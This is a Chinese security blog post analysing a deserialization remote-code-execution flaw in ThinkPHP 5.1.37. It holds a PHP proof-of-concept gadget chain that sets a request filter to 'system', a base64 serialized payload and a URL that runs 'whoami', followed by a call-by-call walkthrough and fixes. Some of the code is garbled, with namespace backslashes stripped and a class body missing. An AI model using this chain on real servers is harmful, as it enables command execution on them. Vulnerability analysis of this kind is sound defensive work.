Thinkphp 5.1 反序列化漏洞分析

  • A+
所属分类:安全文章

通过composer来进行环境搭建

composer create-project topthink/think=5.1.37 v5.1.37

待调试代码

Thinkphp 5.1 反序列化漏洞分析


POC

<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["ethan"=>["dir","calc"]];
$this->data = ["ethan"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '_ajax',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace thinkprocesspipes;

use thinkmodelconcernConversion;
use thinkmodelPivot;
class Windows
{
private $files = [];

public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace thinkmodel;

use thinkModel;


{
}
use thinkprocesspipesWindows;
echo base64_encode(serialize(new Windows()));
/*input=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo1OiJldGhhbiI7YToyOntpOjA7czozOiJkaXIiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo1OiJldGhhbiI7TzoxMzoidGhpbmtcUmVxdWVzdCI6Mzp7czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjo5O2k6MTtzOjY6ImlzQWpheCI7fX1zOjk6IgAqAGZpbHRlciI7czo2OiJzeXN0ZW0iO3M6OToiACoAY29uZmlnIjthOjE6e3M6ODoidmFyX2FqYXgiO3M6MDoiIjt9fX19fX0=&id=whoami*/
?>


URL

http://127.0.0.1/v5.1.37/public/?id=whoami


字符串被反序列化以后,按照PHP流程,反序列化出来的Windows类,在php脚本快要结束的时候,析构方法被触发

Thinkphp 5.1 反序列化漏洞分析


然后跟进removeFiles方法中

Thinkphp 5.1 反序列化漏洞分析


file_exists($filename) 中的 $filename 根据我们刚才构造的POC是一个Pivot类,file_exists要求传入一个字符串,这里就会触发__toString方法

但是我们查看代码实现,没有发现这个魔术方法

Thinkphp 5.1 反序列化漏洞分析

我们接着跟进它的父类查看实现,这个也同样没有找到__toString方法

Thinkphp 5.1 反序列化漏洞分析

关注这一块的引用,根据PHP的规则在class中 use trait 会继承该trait实现的方法

Thinkphp 5.1 反序列化漏洞分析


在Conversion中发现了__toString方法的实现

Thinkphp 5.1 反序列化漏洞分析

一直跟

Thinkphp 5.1 反序列化漏洞分析

最后是调用了toArray方法

Thinkphp 5.1 反序列化漏洞分析

在toArray方法中,189行$relation变量被赋值为poc中的Requst对象,然后在193行调用Requst对象的visible方法,

Thinkphp 5.1 反序列化漏洞分析

但是Request对象中没有visible这个方法所以触发了__call这个魔术方法

Thinkphp 5.1 反序列化漏洞分析

根据POC里面的定义

Thinkphp 5.1 反序列化漏洞分析

触发了Requst对象里面的isAjax方法

Thinkphp 5.1 反序列化漏洞分析

经过层层调用,最后调用了input方法

Thinkphp 5.1 反序列化漏洞分析

最关键的地方来了

Thinkphp 5.1 反序列化漏洞分析

通过POC我们将这里的$filter变量污染成了system

Thinkphp 5.1 反序列化漏洞分析

关键函数array_walk_recursive

Thinkphp 5.1 反序列化漏洞分析

Thinkphp 5.1 反序列化漏洞分析

将whoami在system函数中执行,到这里命令执行成功

Thinkphp 5.1 反序列化漏洞分析


整个漏洞完整调用堆载

Thinkphp 5.1 反序列化漏洞分析

修复方法:

1.框架态,针对Windows类进行修复,判断是否为string

Thinkphp 5.1 反序列化漏洞分析


2.用户态,使用PHP7新增的unserialize的过滤器

示例:

Thinkphp 5.1 反序列化漏洞分析

它通过白名单的方式来防止潜在的代码注入,将除 MyClass 和 MyClass2和stdClass之外的所有对象都转换为 __PHP_Incomplete_Class 对象,从而阻断反序列化的漏洞利用链


发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: